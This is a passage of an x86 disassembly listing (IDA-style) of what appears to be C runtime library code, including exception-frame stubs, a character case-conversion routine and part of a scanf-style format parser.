		jz	short loc_41AA7F
		push	1
		push	edi
		call	sub_41DF62
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		push	dword ptr [esi+18h]
		call	sub_41DF7E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		test	byte ptr [esi],	4
		jz	short loc_41AA65
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41609D
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA65:				; CODE XREF: sub_41A8DF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_416096
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA7F:				; CODE XREF: sub_41A8DF+6Aj
					; sub_41A8DF+7Cj ...
		call	sub_41ABD2


loc_41AA84:				; CODE XREF: sub_41A8DF+98j
					; sub_41A8DF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AA88:				; CODE XREF: sub_41A8DF+2Ej
					; sub_41A8DF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8DF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB7C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAA3	proc near		; CODE XREF: sub_41A3CE+170p
					; sub_41A86F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AAEA
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AAEA
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_416096
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AAEA:				; CODE XREF: sub_41AAA3+2Aj
					; sub_41AAA3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAA3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB7C

; =============== S U B	R O U T	I N E =======================================



sub_41AB0A	proc near		; CODE XREF: sub_41A8DF+8Fp
					; sub_41A8DF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB2B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41AB2B:				; CODE XREF: sub_41AB0A+12j
		pop	esi
		retn
sub_41AB0A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB30	proc near		; CODE XREF: sub_416129+40p
					; sub_41A67A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416415
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB6F
		mov	ecx, 2


loc_41AB6F:				; CODE XREF: sub_41AB30+38j
		push	ecx
		call	sub_416415
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB7C	proc near		; CODE XREF: sub_41A3CE:loc_41A570j
					; sub_41A718:loc_41A729j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DF96 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_4694E8
		test	eax, eax
		jz	short loc_41ABC4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41ABC0
; ---------------------------------------------------------------------------


loc_41ABB9:				; DATA XREF: seg001:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41ABBD:				; DATA XREF: seg001:00421854o
		mov	esp, [ebp+var_18]


loc_41ABC0:				; CODE XREF: sub_41AB7C+3Bj
		and	[ebp+var_4], 0


loc_41ABC4:				; CODE XREF: sub_41AB7C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41ABCD:				; DATA XREF: seg001:00421848o
		jmp	loc_41DF96
sub_41AB7C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABD2	proc near		; CODE XREF: sub_4162CB+23p
					; sub_4162CB:loc_416336p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_4380A4
		test	eax, eax
		jz	short loc_41AC1A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB7C
		jmp	short loc_41AC16
; ---------------------------------------------------------------------------


loc_41AC0F:				; DATA XREF: seg001:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AC13:				; DATA XREF: seg001:0042186Co
		mov	esp, [ebp+var_18]


loc_41AC16:				; CODE XREF: sub_41ABD2+3Bj
		and	[ebp+var_4], 0


loc_41AC1A:				; CODE XREF: sub_41ABD2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41AC23:				; DATA XREF: seg001:00421860o
		jmp	sub_41AB7C
sub_41ABD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC28	proc near		; CODE XREF: sub_4167B3+7p
					; sub_4167B3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418ADD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC40
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41AC40:				; CODE XREF: sub_41AC28+Ej
		push	esi
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_421188
		pop	esi
		retn
sub_41AC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC51	proc near		; CODE XREF: sub_416861+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4694F8, 0
		push	ebx
		jnz	short loc_41AC7C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD1A
		cmp	eax, 7Ah
		jg	loc_41AD1A
		sub	eax, 20h
		jmp	loc_41AD1A
; ---------------------------------------------------------------------------


loc_41AC7C:				; CODE XREF: sub_41AC51+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACAF
		cmp	ds:dword_437F4C, 1
		jle	short loc_41AC9C
		push	2
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41ACA7
; ---------------------------------------------------------------------------


loc_41AC9C:				; CODE XREF: sub_41AC51+3Dj
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41ACA7:				; CODE XREF: sub_41AC51+49j
		test	eax, eax
		jnz	short loc_41ACAF


loc_41ACAB:				; CODE XREF: sub_41AC51+AFj
		mov	eax, ebx
		jmp	short loc_41AD1A
; ---------------------------------------------------------------------------


loc_41ACAF:				; CODE XREF: sub_41AC51+34j
					; sub_41AC51+58j
		mov	edx, ds:off_437D40
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACD2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACDB
; ---------------------------------------------------------------------------


loc_41ACD2:				; CODE XREF: sub_41AC51+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41ACDB:				; CODE XREF: sub_41AC51+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_4694F8
		call	loc_41BD51
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACAB
		cmp	eax, 1
		jnz	short loc_41AD0D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD1A
; ---------------------------------------------------------------------------


loc_41AD0D:				; CODE XREF: sub_41AC51+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41AD1A:				; CODE XREF: sub_41AC51+14j
					; sub_41AC51+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD1D	proc near		; CODE XREF: sub_416A80+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B723
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD4C
; ---------------------------------------------------------------------------


loc_41AD47:				; CODE XREF: sub_41AD1D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41AD4C:				; CODE XREF: sub_41AD1D+28j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41AD64
		movzx	eax, al
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AD73
; ---------------------------------------------------------------------------


loc_41AD64:				; CODE XREF: sub_41AD1D+36j
		mov	ecx, ds:off_437D40
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41AD73:				; CODE XREF: sub_41AD1D+45j
		cmp	eax, ebx
		jz	short loc_41ADAD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7AA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B793
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E075
		add	esp, 0Ch


loc_41AD9B:				; CODE XREF: sub_41AD1D+8Ej
		test	eax, eax
		jz	short loc_41ADAD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E075
		pop	ecx
		jmp	short loc_41AD9B
; ---------------------------------------------------------------------------


loc_41ADAD:				; CODE XREF: sub_41AD1D+58j
					; sub_41AD1D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B68F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41ADE4:				; CODE XREF: sub_41AD1D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_437F4C, 1
		jle	short loc_41AE01
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AE10
; ---------------------------------------------------------------------------


loc_41AE01:				; CODE XREF: sub_41AD1D+D3j
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41AE10:				; CODE XREF: sub_41AD1D+E2j
		test	eax, eax
		jz	short loc_41AE26
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE26:				; CODE XREF: sub_41AD1D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE69
		jz	short loc_41AE8B
		cmp	ebx, 2Ah
		jz	short loc_41AE64
		cmp	ebx, 46h
		jz	short loc_41AE8B
		cmp	ebx, 49h
		jz	short loc_41AE46
		cmp	ebx, 4Ch
		jnz	short loc_41AE78
		inc	[ebp+var_D]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41AD1D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE78
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE78
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE64:				; CODE XREF: sub_41AD1D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE69:				; CODE XREF: sub_41AD1D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AE85
		cmp	ebx, 6Ch
		jz	short loc_41AE7D
		cmp	ebx, 77h
		jz	short loc_41AE80


loc_41AE78:				; CODE XREF: sub_41AD1D+122j
					; sub_41AD1D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE7D:				; CODE XREF: sub_41AD1D+154j
		inc	[ebp+var_D]


loc_41AE80:				; CODE XREF: sub_41AD1D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE85:				; CODE XREF: sub_41AD1D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41AE8B:				; CODE XREF: sub_41AD1D+107j
					; sub_41AD1D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41ADE4
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AEB0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41AEB0:				; CODE XREF: sub_41AD1D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AECE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AECA
		cmp	al, 43h
		jz	short loc_41AECA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AECE
; ---------------------------------------------------------------------------


loc_41AECA:				; CODE XREF: sub_41AD1D+1A1j
					; sub_41AD1D+1A5j
		mov	[ebp+var_5], 1


loc_41AECE:				; CODE XREF: sub_41AD1D+19Bj
					; sub_41AD1D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF07
		cmp	esi, 63h
		jz	short loc_41AEF8
		cmp	esi, 7Bh
		jz	short loc_41AEF8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7AA
		pop	ecx
		jmp	short loc_41AF03
; ---------------------------------------------------------------------------


loc_41AEF8:				; CODE XREF: sub_41AD1D+1C5j
					; sub_41AD1D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779


loc_41AF03:				; CODE XREF: sub_41AD1D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AF07:				; CODE XREF: sub_41AD1D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF17
		cmp	[ebp+var_C], eax
		jz	loc_41B6F3


loc_41AF17:				; CODE XREF: sub_41AD1D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B17E
		jz	loc_41B430
		cmp	esi, 63h
		jz	loc_41B15B
		cmp	esi, 64h
		jz	loc_41B430
		jle	loc_41B1A8
		cmp	esi, 67h
		jle	short loc_41AF7B
		cmp	esi, 69h
		jz	short loc_41AF63
		cmp	esi, 6Eh
		jnz	loc_41B1A8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B65E
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41AF63:				; CODE XREF: sub_41AD1D+229j
		push	64h
		pop	esi


loc_41AF66:				; CODE XREF: sub_41AD1D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B1F0
		mov	[ebp+var_17], 1
		jmp	loc_41B1F5
; ---------------------------------------------------------------------------


loc_41AF7B:				; CODE XREF: sub_41AD1D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AF97
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AF9C
; ---------------------------------------------------------------------------


loc_41AF97:				; CODE XREF: sub_41AD1D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFB3


loc_41AF9C:				; CODE XREF: sub_41AD1D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFB6
; ---------------------------------------------------------------------------


loc_41AFB3:				; CODE XREF: sub_41AD1D+27Dj
		mov	edi, [ebp+arg_0]


loc_41AFB6:				; CODE XREF: sub_41AD1D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFC5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFCC


loc_41AFC5:				; CODE XREF: sub_41AD1D+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AFCC:				; CODE XREF: sub_41AD1D+2A6j
					; sub_41AD1D+2F2j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41AFE1
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------


loc_41AFE1:				; CODE XREF: sub_41AD1D+2B6j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AFEC:				; CODE XREF: sub_41AD1D+2C2j
		test	eax, eax
		jz	short loc_41B011
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B011
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFCC
; ---------------------------------------------------------------------------


loc_41B011:				; CODE XREF: sub_41AD1D+2D1j
					; sub_41AD1D+2DBj
		cmp	ds:byte_437F50,	bl
		jnz	short loc_41B07F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B07F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		mov	al, ds:byte_437F50
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B03A:				; CODE XREF: sub_41AD1D+360j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B04F
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------


loc_41B04F:				; CODE XREF: sub_41AD1D+324j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B05A:				; CODE XREF: sub_41AD1D+330j
		test	eax, eax
		jz	short loc_41B07F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B07F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B03A
; ---------------------------------------------------------------------------


loc_41B07F:				; CODE XREF: sub_41AD1D+2FAj
					; sub_41AD1D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B117
		cmp	ebx, 65h
		jz	short loc_41B097
		cmp	ebx, 45h
		jnz	loc_41B117


loc_41B097:				; CODE XREF: sub_41AD1D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B117
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0BE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0C3
; ---------------------------------------------------------------------------


loc_41B0BE:				; CODE XREF: sub_41AD1D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B0E1


loc_41B0C3:				; CODE XREF: sub_41AD1D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0D2
		and	[ebp+var_C], eax
		jmp	short loc_41B0E1
; ---------------------------------------------------------------------------


loc_41B0D2:				; CODE XREF: sub_41AD1D+3AEj
					; sub_41AD1D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B0E1:				; CODE XREF: sub_41AD1D+3A4j
					; sub_41AD1D+3B3j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B0F6
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B101
; ---------------------------------------------------------------------------


loc_41B0F6:				; CODE XREF: sub_41AD1D+3CBj
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B101:				; CODE XREF: sub_41AD1D+3D7j
		test	eax, eax
		jz	short loc_41B117
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B117
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0D2
; ---------------------------------------------------------------------------


loc_41B117:				; CODE XREF: sub_41AD1D+366j
					; sub_41AD1D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B793
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_438080
		add	esp, 0Ch
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B15B:				; CODE XREF: sub_41AD1D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B16A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41B16A:				; CODE XREF: sub_41AD1D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B174
		mov	[ebp+var_16], 1


loc_41B174:				; CODE XREF: sub_41AD1D+451j
		mov	edi, offset dword_4380B0
		jmp	loc_41B289
; ---------------------------------------------------------------------------


loc_41B17E:				; CODE XREF: sub_41AD1D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B42C
		sub	eax, 3
		jz	loc_41B27A
		dec	eax
		dec	eax
		jz	loc_41B430
		sub	eax, 3
		jz	loc_41AF66
		sub	eax, 3
		jz	short loc_41B1CC


loc_41B1A8:				; CODE XREF: sub_41AD1D+21Bj
					; sub_41AD1D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B6F3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B1CC:				; CODE XREF: sub_41AD1D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1D6
		mov	[ebp+var_16], 1


loc_41B1D6:				; CODE XREF: sub_41AD1D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B28D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B289
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: sub_41AD1D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B217


loc_41B1F5:				; CODE XREF: sub_41AD1D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B206
		cmp	[ebp+var_20], 0
		jz	short loc_41B206
		mov	[ebp+var_F], 1
		jmp	short loc_41B217
; ---------------------------------------------------------------------------


loc_41B206:				; CODE XREF: sub_41AD1D+4DBj
					; sub_41AD1D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B217:				; CODE XREF: sub_41AD1D+4D6j
					; sub_41AD1D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B465
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B265
		cmp	bl, 58h
		jz	short loc_41B265
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B24F
		push	6Fh


loc_41B249:				; CODE XREF: sub_41AD1D+55Bj
		pop	esi
		jmp	loc_41B465
; ---------------------------------------------------------------------------


loc_41B24F:				; CODE XREF: sub_41AD1D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B462
; ---------------------------------------------------------------------------


loc_41B265:				; CODE XREF: sub_41AD1D+517j
					; sub_41AD1D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B249
; ---------------------------------------------------------------------------


loc_41B27A:				; CODE XREF: sub_41AD1D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B284
		mov	[ebp+var_16], 1


loc_41B284:				; CODE XREF: sub_41AD1D+561j
		mov	edi, offset dword_4380A8


loc_41B289:				; CODE XREF: sub_41AD1D+45Cj
					; sub_41AD1D+4CEj
		or	[ebp+var_18], 0FFh


loc_41B28D:				; CODE XREF: sub_41AD1D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2B1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2B1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B2B1:				; CODE XREF: sub_41AD1D+584j
					; sub_41AD1D+589j
		mov	dl, [ebp+var_35]


